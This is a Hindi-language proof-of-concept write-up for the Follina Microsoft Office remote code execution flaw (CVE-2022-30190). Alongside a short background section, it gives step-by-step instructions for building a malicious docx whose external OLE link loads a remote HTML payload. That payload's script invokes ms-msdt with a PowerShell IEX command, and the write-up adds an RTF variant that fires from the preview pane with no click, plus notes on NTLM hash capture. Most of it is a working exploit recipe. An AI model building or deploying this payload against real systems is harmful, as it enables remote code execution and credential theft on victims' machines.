
POC CVE-2022-30190 : CVE 0-day MS Offic RCE aka msdt follina
जानकारी : नया माइक्रोसॉफ्ट ऑफिस जीरो-डे हमलों में पावरशेल चलाने के लिए उपयोग किया गया
29 मई 2022 को, Nao_Sec टीम, एक स्वतंत्र साइबर सुरक्षा अनुसंधान टीम ने, Virustotal पर साझा किए गए एक दुर्भावनापूर्ण Office दस्तावेज़ की खोज की। यह दस्तावेज़ अपने पीड़ितों को संक्रमित करने के लिए एक असामान्य, लेकिन ज्ञात योजना का उपयोग कर रहा है। यह योजना कुछ EDR, जैसे Microsoft Defender for Endpoint द्वारा दुर्भावनापूर्ण के रूप में पहचानी नहीं गई थी। यह कमजोरी उपयोगकर्ता के हस्तक्षेप के बिना कोड निष्पादन की ओर ले जा सकती है, क्योंकि इसमें मैक्रो शामिल नहीं हैं, सिवाय इसके कि संरक्षित दृश्य मोड सक्षम हो। अभी तक कोई CVE संख्या निर्दिष्ट नहीं की गई है।
इस कमजोरी का शोषण MSProtocol URI योजना का उपयोग करके कुछ कोड लोड करने के लिए किया जा रहा है। हमलावर Microsoft Office दस्तावेज़ों, टेम्पलेट्स या ईमेल के अंदर ms-msdt: से शुरू होने वाले दुर्भावनापूर्ण लिंक एम्बेड कर सकते हैं जो बाद में उपयोगकर्ता के हस्तक्षेप के बिना लोड और निष्पादित होंगे - सिवाय इसके कि संरक्षित दृश्य मोड सक्षम हो। फिर भी, दस्तावेज़ को RTF प्रारूप में बदलने से संरक्षित दृश्य सुविधा को भी बायपास किया जा सकता है।
MS Office docx फ़ाइलों में HTML फ़ाइलों के रूप में बाहरी OLE ऑब्जेक्ट संदर्भ हो सकते हैं। एक HTML योजना "ms-msdt:" है जो msdt डायग्नोस्टिक टूल को लागू करती है, जो मनमाना कोड (पैरामीटर में निर्दिष्ट) निष्पादित करने में सक्षम है।
परिणाम दुर्भावनापूर्ण docx फ़ाइलों (बिना मैक्रो का उपयोग किए) को खोलकर RCE प्राप्त करने का एक भयानक हमला वेक्टर है।
यहाँ एक प्रूफ-ऑफ-कॉन्सेप्ट docx बनाने के चरण दिए गए हैं:
वर्ड खोलें (अप-टू-डेट 2019 Pro, 16.0.10386.20017 का उपयोग किया गया), एक डमी दस्तावेज़ बनाएं, एक (OLE) ऑब्जेक्ट (बिटमैप इमेज के रूप में) सम्मिलित करें, इसे docx में सहेजें।
docx संरचना में word/_rels/document.xml.rels संपादित करें (यह एक सादा ज़िप है)। निम्न विशेषता के साथ XML टैग <Relationship> को संशोधित करें:
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject"
और Target="embeddings/oleObject1.bin" को Target मान बदलकर और TargetMode विशेषता जोड़कर:
Target = "http://<payload_server>/payload.html!"
TargetMode = "External"
Id मान नोट करें (संभवतः यह "rId5" है)।
word/document.xml संपादित करें। "<o:OLEObject ..>" टैग खोजें (r:id="rId5" के साथ) और विशेषता को Type="Embed" से Type="Link" में बदलें और UpdateMode="OnCall" विशेषता जोड़ें।नोट: बनाया गया दुर्भावनापूर्ण docx लगभग CVE-2021-44444 के समान है।
http://<payload_server>/payload.html पर सर्व करें:<!doctype html>
<html lang="en">
<body>
<script>
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA should be repeated >60 times
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=h$(IEX('calc.exe'))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe \"";
</script>
</body>
</html>
ध्यान दें कि:
इसके अतिरिक्त, ट्रिगर करने वाला पेलोड दूरस्थ स्थानों तक पहुंच सकता है। हालांकि यह एक अविश्वसनीय बाइनरी को लागू करने की संभावना नहीं है, कनेक्शन अभी भी NTLM हैश ले जाएगा (जिसका अर्थ है कि बुरे अभिनेताओं के पास अब पीड़ित के विंडोज पासवर्ड का हैश है) जिसका उपयोग प्रतिद्वंद्वी द्वारा आगे के पोस्ट-एक्सप्लॉइटेशन के लिए किया जा सकता है।
यदि आप चरण 3 में word/document.xml में <o:OLEObject> तत्व के अंतर्गत ये तत्व भी जोड़ते हैं:
<o:LinkType>EnhancedMetaFile</o:LinkType>
<o:LockedField>false</o:LockedField>
<o:FieldCodes>\f 0</o:FieldCodes>
तो यह RTF के रूप में भी काम करेगा (परिणामी docx खोलें और इसे RTF के रूप में सहेजें)।
RTF के साथ, फ़ाइल को Word में खोलने की आवश्यकता नहीं है, फ़ाइल को ब्राउज़ करना और पूर्वावलोकन फलक में इसे देखना पर्याप्त है। पूर्वावलोकन फलक बाहरी HTML पेलोड को ट्रिगर करता है और बिना किसी क्लिक के RCE वहाँ है।